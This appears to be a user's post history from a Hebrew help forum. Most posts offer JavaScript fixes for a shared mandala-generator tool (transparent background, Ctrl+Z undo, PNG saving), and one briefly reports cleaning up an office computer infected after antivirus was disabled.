    או אם תרצה... מן הסתם שוה ערך לאונקי שמונח עכשיו אצלי על השלחן לשיחזור

    אם מותר לשאול, בכוננים של איזו חברה אתה משתמש?

    כללי - עזרה הדדית

  • להורדה | מחולל מנדלות איכותי ופשוט
    ר רנדומלי

    @רפאל-vnkl
    יוצר המנדלות.zip

    הוספתי תיבת בחירה לרקע שקוף, בדרך גם תיקנתי את התיבה של הפקדים - שתהיה מימין לשמאל.
    זה רלוונטי רק לתמונה שיורדת בלחיצה על שמור - לא רואים את השינוי במחולל עצמו.


    עריכה: אני רואה שבאתר לא שמים לב להבדל, אבל אם תורידו את התמונות תראו שהראשון בעל רקע לבן והשני בעל רקע שקוף.

    לבן.png

    שקוף.png

    כללי - עזרה הדדית

  • בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי
    ר רנדומלי

    תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

    ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

    עזרה הדדית - מחשבים וטכנולוגיה

  • להורדה | מחולל מנדלות איכותי ופשוט
    ר רנדומלי

    @נחמן-פלח
    אם יורשה לי - שתי הצעות לשיפור.

    ביטול פעולה אחרונה באמצעות ctrl+z (צריך להגדיר id ל-body).

    body.addEventListener("keydown", (event) => {
        if (event.code === "KeyZ" && event.ctrlKey) {
            undoLastAction();
        }
    });
    

    להוציא את החלפת צבע הרקע לפונקציה נפרדת. ולקרוא לה גם בשינוי תיבת הצבע וגם בשינוי תיבת הבחירה של השקיפות:

    function transparencyBackgroundColor() {
        const bgColor = bgColorPicker.value;
        if (!transparencyCheckBox.checked) {
            // רק אם הרקע לא שקוף, עדכן את צבע הרקע
            canvas.style.backgroundColor = bgColor;
        } else {
            // אם הרקע שקוף, אפס את צבע הרקע
            canvas.style.backgroundColor = "transparent";
        }        
    }
    
    bgColorPicker.addEventListener("input", transparencyBackgroundColor);
    transparencyCheckBox.addEventListener("input", transparencyBackgroundColor);
    

    מלבד זאת אם ברירת המחדל היא רקע שקוף - עדיף להשאיר את הסימון של התיבה.
    (ראיתי שאתה מבטל את הסימון בקוד - אבל זה לא גורם לעדכון של צבע הרקע - הוא נשאר שקוף).

    כללי - עזרה הדדית

  • להורדה | מחולל מנדלות איכותי ופשוט
    ר רנדומלי

    @נחמן-פלח
    יש לך את הקוד הזה שמוריד את הסימון מהתיבה, אבל לא באמת משנה את הרקע לשקוף.

    // הגדרת ברירת המחדל של רקע שקוף לתיבה של הרקע שקוף לא תהיה מסומנת
    window.onload = () => {
        transparencyCheckBox.checked = false; // ברירת מחדל: לא מסומן
    };
    
    כללי - עזרה הדדית

  • להורדה | מחולל מנדלות איכותי ופשוט
    ר רנדומלי

    @נחמן-פלח כתב בלהורדה | מחולל מנדלות איכותי ופשוט:

    חוץ מזה ראיתי שיש לך ידע בhtml האם תוכל לכתוב מדריכים?

    הידע שלי לא מאוד מאורגן. אם אני אדע מה מעניין את הציבור אוכל לנסות לסדר איזה מדריך עליו.

    כללי - עזרה הדדית

  • להורדה | מחולל מנדלות איכותי ופשוט
    ר רנדומלי

    @נחמן-פלח
    אני לא מצליח להבין מה הוא עושה בפונקציה של השמירה.
    הנה פונקציה שעובדת:

    saveImageButton.addEventListener("click", () => {
        // קבע את צבע הרקע או קבע רקע כשקוף
        const backgroundColor = transparencyCheckBox.checked ? "rgba(255, 255, 255, 0)" : bgColorPicker.value;
        // צור אלמנט זמני
        const tempCanvas = document.createElement("canvas");
        const tempCtx = tempCanvas.getContext("2d");
    
        tempCanvas.width = canvas.width;
        tempCanvas.height = canvas.height;
    
        tempCtx.fillStyle = backgroundColor;
        tempCtx.beginPath();
        tempCtx.arc(centerX, centerY, centerX, 0, 2 * Math.PI);
        tempCtx.closePath();
        tempCtx.fill();
    
        // צייר את המנדלה
        tempCtx.save();
        tempCtx.beginPath();
        tempCtx.arc(centerX, centerY, centerX, 0, 2 * Math.PI);
        tempCtx.closePath();
        tempCtx.clip();
        tempCtx.drawImage(canvas, 0, 0);
        tempCtx.restore();
    
        // שמור את התמונה
        const link = document.createElement("a");
        link.download = "mandala.png";
        link.href = tempCanvas.toDataURL();
        link.click();
      });
    
    כללי - עזרה הדדית

  • להורדה | מחולל מנדלות איכותי ופשוט
    ר רנדומלי

    @ישראל-142 כתב בלהורדה | מחולל מנדלות איכותי ופשוט:

    קוד חדש כולל כל הפונקציות
    בשילוב הפונקציה (מהקטע קוד של @רנדומלי)
    ותיקון השמירה של הרקע הנבחר.

    הייתי בטוח שכללת גם את הקטע הזה:

    @רנדומלי כתב בלהורדה | מחולל מנדלות איכותי ופשוט:

    ביטול פעולה אחרונה באמצעות ctrl+z (צריך להגדיר id ל-body).

    כללי - עזרה הדדית
  • התחברות

  • אין לך חשבון עדיין? הרשמה

  • התחברו או הירשמו כדי לחפש.
  • פוסט ראשון
    פוסט אחרון
0
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר